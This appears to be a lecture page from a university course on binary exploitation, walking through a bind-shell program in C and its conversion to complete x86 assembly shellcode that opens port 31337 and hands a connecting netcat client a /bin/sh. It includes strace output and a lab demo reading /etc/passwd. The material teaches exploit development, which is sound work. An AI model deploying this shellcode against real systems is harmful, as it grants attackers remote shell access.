SI485H: Stack Based Binary Exploits and Defenses (F15)

Home Policy Calendar Resources

Lec. 15: Socket Programming in Assembly

Table of Contents

1 remote shell using sockets

In the last class, we completed a remote shell program using the standard socket programs. Here is that program again:

#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
  int server, client; //server and client socket

  struct sockaddr_in host_addr, client_addr; //address structures
  socklen_t sin_size ; //store size
  int yes=1;

  //open new socket for server
  server = socket(AF_INET, SOCK_STREAM, 0);

  //set up server address
  memset(&(host_addr), '\0', sizeof(struct sockaddr_in));
  host_addr.sin_family=AF_INET;
  host_addr.sin_port=htons(31337);
  host_addr.sin_addr.s_addr=INADDR_ANY;

  //bind server socket
  if(bind(server, (struct sockaddr *) &host_addr, sizeof(struct sockaddr)) < 0){
    perror("bind");
    return 1;
  }

  //set up listening queue
  listen(server,4);

  //size of incoming addresses
  sin_size = sizeof(struct sockaddr_in);

  //accept incoming connection
  client = accept(server, (struct sockaddr *) &client_addr, &sin_size);


  //duplicate file descriptors for socket
  dup2(client, 0);
  dup2(client, 1);
  dup2(client, 2);

  //execve shell
  char *args[2]={"/bin//sh", NULL};
  execve(args[0], args, NULL);

  return 0;
}

A socket must first be opened using socket(), and then bound to a local address using bind(). Next, the number of incoming connections must be indicated with listen(), after which, we can finally =accept() an incoming connection generating a new socket for that connection.

What makes it a remote shell is that we duplicate the standard file decriptors onto the socket. This means all input and output for the program are mapped to the new connection. Executing the program /bin/sh at this point means that the shell /bin/sh's standard file descriptors are also mapped to the socket, thus forming a remote shell.

That's the state of the world as of the last class when we use the socket programming API.

2 socketcall()

The problem is: It's all been a lie!

It turns out that all the different system calls for sockets are not real. There is actually only ONE system call. the socketcall(). Here's the man page entry.

SYNOPSIS
       int socketcall(int call, unsigned long *args);

DESCRIPTION
       socketcall()  is  a common kernel entry point for the socket system calls.  call determines which socket function to invoke.  args points to a block containing the actual arguments, which are passed through to the appropriate
       call.

       User programs should call the appropriate functions by their usual names.  Only standard library implementors and kernel hackers need to know about socketcall().

We are kernel hackers, so let's go get'em. Parsing the arguments to socketcall() there are two arguments, the call and the args. The call is an integer identifier for the socket function required. These are defined in the header file net.h:

user@si485H-base:demo$ grep SYS_ /usr/include/linux/net.h 
#define SYS_SOCKET	1		/* sys_socket(2)		*/
#define SYS_BIND	2		/* sys_bind(2)			*/
#define SYS_CONNECT	3		/* sys_connect(2)		*/
#define SYS_LISTEN	4		/* sys_listen(2)		*/
#define SYS_ACCEPT	5		/* sys_accept(2)		*/
#define SYS_GETSOCKNAME	6		/* sys_getsockname(2)		*/
#define SYS_GETPEERNAME	7		/* sys_getpeername(2)		*/
#define SYS_SOCKETPAIR	8		/* sys_socketpair(2)		*/
#define SYS_SEND	9		/* sys_send(2)			*/
#define SYS_RECV	10		/* sys_recv(2)			*/
#define SYS_SENDTO	11		/* sys_sendto(2)		*/
#define SYS_RECVFROM	12		/* sys_recvfrom(2)		*/
#define SYS_SHUTDOWN	13		/* sys_shutdown(2)		*/
#define SYS_SETSOCKOPT	14		/* sys_setsockopt(2)		*/
#define SYS_GETSOCKOPT	15		/* sys_getsockopt(2)		*/
#define SYS_SENDMSG	16		/* sys_sendmsg(2)		*/
#define SYS_RECVMSG	17		/* sys_recvmsg(2)		*/
#define SYS_ACCEPT4	18		/* sys_accept4(2)		*/
#define SYS_RECVMMSG	19		/* sys_recvmmsg(2)		*/
#define SYS_SENDMMSG	20		/* sys_sendmmsg(2)		*/

The arguments is a array of the arguments that that socket function takes. Putting this together, we can convert our call to socket() to a socketcall() like so:

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/net.h>


int main(void){
  int server, client; //server and client socket

  //socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
  unsigned int socket_args[] = {AF_INET,SOCK_STREAM,0};
  server = socketcall(SYS_SOCKET, (long *) socket_args);

  //...
}

But there's a problem. If we try to compile this code:

user@si485H-base:demo$ make
gcc -fno-stack-protector -z execstack -Wno-format-security -g    socketcall-example.c   -o socketcall-example
/tmp/ccPCoZSR.o: In function `main':
/home/user/git/si485-binary-exploits/lec/15/demo/socketcall-example.c:15: undefined reference to `socketcall'
collect2: error: ld returned 1 exit status
make: *** [socketcall-example] Error 1

The socketcall() system call is not actually defined as an entry point in libc. We have to write our own entry point using syscall:

#include <sys/syscall.h>

int socketcall(int call, long * args){
  int res;
  res = syscall(SYS_socketcall, call, args);
}

Add that to the code, we can now compile, and convert the rest of our remote shell to socketcalls()

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/net.h>
#include <sys/syscall.h>

int socketcall(int call, long * args){
  int res;
  res = syscall(SYS_socketcall, call, args);
}


int main(void){
  int server, client; //server and client socket
  struct sockaddr_in host_addr, client_addr; //address structures
  socklen_t sin_size ; //store size

  //socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
  int socket_args[] = {AF_INET,SOCK_STREAM,0};
  server = socketcall(SYS_SOCKET, (long *) socket_args);

  //set up server address
  memset(&host_addr, '\0', sizeof(struct sockaddr_in));
  host_addr.sin_family=AF_INET;
  host_addr.sin_port=htons(31337);
  host_addr.sin_addr.s_addr=INADDR_ANY;

  //bind
  int bind_args[] = {server, (int) &host_addr, sizeof(struct sockaddr)};
  socketcall(SYS_BIND, (long *) bind_args);

  //set up listening queue
  int listen_args[] = {server, 4};
  socketcall(SYS_LISTEN, (long *) listen_args);


  sin_size = sizeof(struct sockaddr_in);

  //accept incoming connection
  int accept_args[] = {server, (int) &client_addr, (int) &sin_size};
  client = socketcall(SYS_ACCEPT, (long *) accept_args);
  client = accept(server, (struct sockaddr *) &client_addr, &sin_size);


  //duplicate file descriptors for socket
  dup2(client, 0);
  dup2(client, 1);
  dup2(client, 2); 

  //execve shell
  char *args[2]={"/bin//sh", NULL};
  execve(args[0], args, NULL);

  return 0;
}

And if we run it through strace which will show us all the arguments to the system's call, we find that, yes, everything is as it should be:

user@si485H-base:demo$ strace ./socketcall-rsh
execve("./socketcall-rsh", ["./socketcall-rsh"], [/* 20 vars */]) = 0
brk(0)                                  = 0x804b000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
(...)
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 4)                            = 0
accept(3, ...

3 Converting Remote Shell to Assembly

Now that everything is converted to socketcall()'s, we are still not done because we have consider how we might want to construct each of the system calls in assembly. This is actually pretty straight forward. Let's step through each of the parts:

3.1 socket() in assembly

The first task is to call socket() using socketcall() in assembly. Here's the code in C.

//socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
int socket_args[] = {AF_INET,SOCK_STREAM,0};
server = socketcall(SYS_SOCKET, (long *) socket_args);

The values of socket_args[] is (2,1,0), which we can see in this simple program.

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/net.h>


int main(){

  printf("PF_INET:%d\n", PF_INET);
  printf("SOCK_STREAM:%d\n", SOCK_STREAM);
  printf("IPPROTO_IP:%d\n",IPPROTO_IP);

}
user@si485H-base:demo$ ./socket_args 
PF_INET:2
SOCK_STREAM:1
IPPROTO_IP:0

We also know that SYSSOCKET is value 1, so we can follow the assembly code:

;; opening the socket                                                           
xor eax,eax
push eax
push 0x1
push 0x2
mov ecx,esp             ;socket_args                                            

xor ebx,ebx
inc ebx                 ;SYS_SOCKET                                             

mov al,0x66             ;SYS_SOCKETCALL                                         

int 0x80

And with strace, we can see that we got what we wanted:

user@si485H-base:demo$ strace ./open_socket 
execve("./open_socket", ["./open_socket"], [/* 20 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x3} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)

3.2 bind() in assembly

In c, we have:

//set up server address
  memset(&host_addr, '\0', sizeof(struct sockaddr_in));
  host_addr.sin_family=AF_INET;
  host_addr.sin_port=htons(31337);
  host_addr.sin_addr.s_addr=INADDR_ANY;

  //bind
  int bind_args[] = {server, (int) &host_addr, sizeof(struct sockaddr)};
  socketcall(SYS_BIND, (long *) bind_args);

We know the value of SYSBIND, that's 2, but we need to think more about the host_addr portion of the address space. Fortunately, we can recall the structure from last lesson:

struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET, AF_INET6
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
    char             sin_zero[8];  // zero this if you want to
};

We see that we have two shorts, followed by the address. But, the address we care about is INNETADDR_ANY which is 0. The rest is just padding.

So another way to think about this is that the struct sockaddr_in is the same as an array of four shorts:

short host_addr[] = {0x0002,0x697a,0x00000,0x0000};

Note that 0x697a is 31337 in big-endian(!) and we always need to be careful about that with networking.

We can write code to produce the host_addr like so:

xor eax,eax
push eax                ;0,0
push WORD 0x697a        ;htonos(31337)
push WORD 0x02          ;2
mov ecx,esp

This assembly is also introducing a new form of push that will only push a word onto the stack. This misaligns the stack, but it is a useful tool.

Now we can setup the rest of the code like so:

xor eax,eax
push eax                ;0,0
push WORD 0x697a        ;htonos(31337)
push WORD 0x02          ;2
mov ecx,esp



push 0x16               ;sizeof(host_addr)
push ecx                ;host_addr
push esi                ;assume esi stores socketfd

xor ebx,ebx
mov bl,0x2              ;SYS_BIND

mov ecx,esp             ;socket_args

mov al,0x66             ;SYS_SOCKETCALL
int 0x80

And if we run it under strace, we see that it does call bind:

user@si485H-base:demo$ strace ./bind_socket 
execve("./bind_socket", ["./bind_socket"], [/* 20 vars */]) = 0
bind(0, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("0.0.0.0")}, 22) = -1 ENOTSOCK (Socket operation on non-socket)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xffffffa8} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)

3.3 listen() in assembly

The next socketcall() is perhaps the easiest: listen().

//set up listening queue
  int listen_args[] = {server, 4};
  socketcall(SYS_LISTEN, (long *) listen_args);

There is only one argument to deal with, and we can quickly do the conversion like so.

tart:
        xor ecx,ecx
        mov cl,0x5

        push ecx                ;5
        push esi                ;socketfd

        mov ecx, esp            ;socket_args = {5,socketfd}

        xor ebx,ebx
        mov bl, 0x4             ;SYS_LISTEN

        xor eax,eax
        mov al,0x66             ;SYS_SOCKETCALL
        int 0x80
user@si485H-base:demo$ strace ./listen_socket 
execve("./listen_socket", ["./listen_socket"], [/* 20 vars */]) = 0
listen(0, 5)                            = -1 ENOTSOCK (Socket operation on non-socket)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xffffffa8} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)

3.4 accept() in assembly

Turns out, that accept is also pretty easy. In C, we have this:

sin_size = sizeof(struct sockaddr_in);

  //accept incoming connection
  int accept_args[] = {server, (int) &client_addr, (int) &sin_size};
  client = socketcall(SYS_ACCEPT, (long *) accept_args);

But, we don't really care about the client's address, so we can set that to NULL (or 0), which means that the next argument, the size, is also 0. That means our socket argument is: { socketfd, 0, 0}. In assembly, we get the following:

section .text
        global _start

_start:
        xor ecx,ecx
        push ecx                ; 0
        push ecx                ; 0
        push esi                ; socketfd
        mov ecx,esp             ;socket_args = {socketfd,0,0}

        xor ebx,ebx
        mov bl, 0x5             ;SYS_LISTEN

        xor eax,eax
        mov al,0x66             ;SYS_SOCKETCALL
        int 0x80
execve("./accept_socket", ["./accept_socket"], [/* 20 vars */]) = 0
accept(0, 0, NULL)                      = -1 ENOTSOCK (Socket operation on non-socket)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xffffffa8} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)

3.5 dup2() in assembly

Finally, to move away fro the domain of networking, we have to the dup2() system calls. This is much like the standard system calls we've been doing so far. The system call number for dup2() is 0x3f. That leaves us with the following code assembly for dup2() if we assume esi stores our sockfd:

mov ebx,esi             ;sockfd
xor ecx,ecx             ;stdin 0


xor eax,eax
mov al, 0x3f
int 0x80

inc ecx                 ;stdout 1
xor eax,eax
mov al, 0x3f
int 0x80

inc ecx                 ;stderr 2
xor eax,eax
mov al, 0x3f
int 0x80

4 Putting it all together

Now that we have all the parts, we can look at the entire assembly that actually goes ahead and executes a remote shell:

section .text
        global _start

_start:

        ;; socket()
        xor eax,eax
        push eax
        push 0x1
        push 0x2
        mov ecx,esp             ;socket_args

        xor ebx,ebx
        inc ebx                 ;SYS_SOCKET

        mov al,0x66             ;SYS_SOCKETCALL

        int 0x80

        mov esi,eax             ;save sockfd in esi

        ;;bind()
        xor eax,eax
        push eax                ;0,0
        push WORD 0x697a        ;htonos(31337)
        push WORD 0x02          ;2
        mov ecx,esp

        push 0x16               ;sizeof(host_addr)
        push ecx                ;host_addr
        push esi                ;assume esi stores socketfd

        xor ebx,ebx
        mov bl,0x2              ;SYS_BIND

        mov ecx,esp             ;socket_args

        mov al,0x66             ;SYS_SOCKETCALL
        int 0x80

        ;; listen()
        xor ecx,ecx
        mov cl,0x5

        push ecx                ;5
        push esi                ;socketfd

        mov ecx, esp            ;socket_args = {5,socketfd}

        xor ebx,ebx
        mov bl, 0x4             ;SYS_LISTEN

        xor eax,eax
        mov al,0x66             ;SYS_SOCKETCALL
        int 0x80

        ;; accept()
        xor ecx,ecx
        push ecx                ; 0
        push ecx                ; 0
        push esi                ; socketfd
        mov ecx,esp             ;socket_args = {socketfd,0,0}

        xor ebx,ebx
        mov bl, 0x5             ;SYS_LISTEN

        xor eax,eax
        mov al,0x66             ;SYS_SOCKETCALL
        int 0x80

        mov esi,eax             ;new accepted socket stored in esi

        ;; dup2()
        mov ebx,esi             ;sockfd
        xor ecx,ecx             ;stdin 0


        xor eax,eax
        mov al, 0x3f
        int 0x80

        inc ecx                 ;stdout 1
        xor eax,eax
        mov al, 0x3f
        int 0x80

        inc ecx                 ;stderr 2
        xor eax,eax
        mov al, 0x3f
        int 0x80

        ;; execve()
        xor ecx,ecx
        mul ecx
        push ecx                ; null terminator
        push 0x68732f2f         ; /bin/sh
        push 0x6e69622f
        mov ebx,esp
        mov al, 0xb     
        int 0x80
user@si485H-base:demo$ strace ./assembly_rsh
execve("./assembly_rsh", ["./assembly_rsh"], [/* 20 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("0.0.0.0")}, 22) = 0
listen(3, 5)                            = 0
accept(3, ...

Then I can connect remotely:

[aviv@potbelly] 15 >netcat 192.168.56.101 31337

Which will cause the accept() to complete:

(...)
accept(3, 0, NULL)                      = 4
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
dup2(4, 2)                              = 2
execve("/bin//sh", [0], [/* 0 vars */]) = 0

And on the remote server, I can now do as I please:

[aviv@potbelly] 15 >netcat 192.168.56.101 31337
cat /etc/passwd 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false
dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false
saned:x:108:115::/home/saned:/bin/false
whoopsie:x:109:116::/nonexistent:/bin/false
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false
colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false
hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false
pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false
user:x:1000:1000:user,,,:/home/user:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
sshd:x:116:65534::/var/run/sshd:/usr/sbin/nologin
aviv:x:1001:1001:Adam Aviv,,,:/home/aviv:/bin/bash

4.1 This is some large shell code

This shell code is significantly bigger than anything we've seen so far. That's because it takes a lot of effort of effort to open a remote shell. Right now, we are at 126 bytes.

user@si485H-base:demo$ printf `./hexify.sh assembly_rsh` | wc -c
126

That's just too big. Let's see where we can reduce in size … or maybe that is something you should do in a lab :)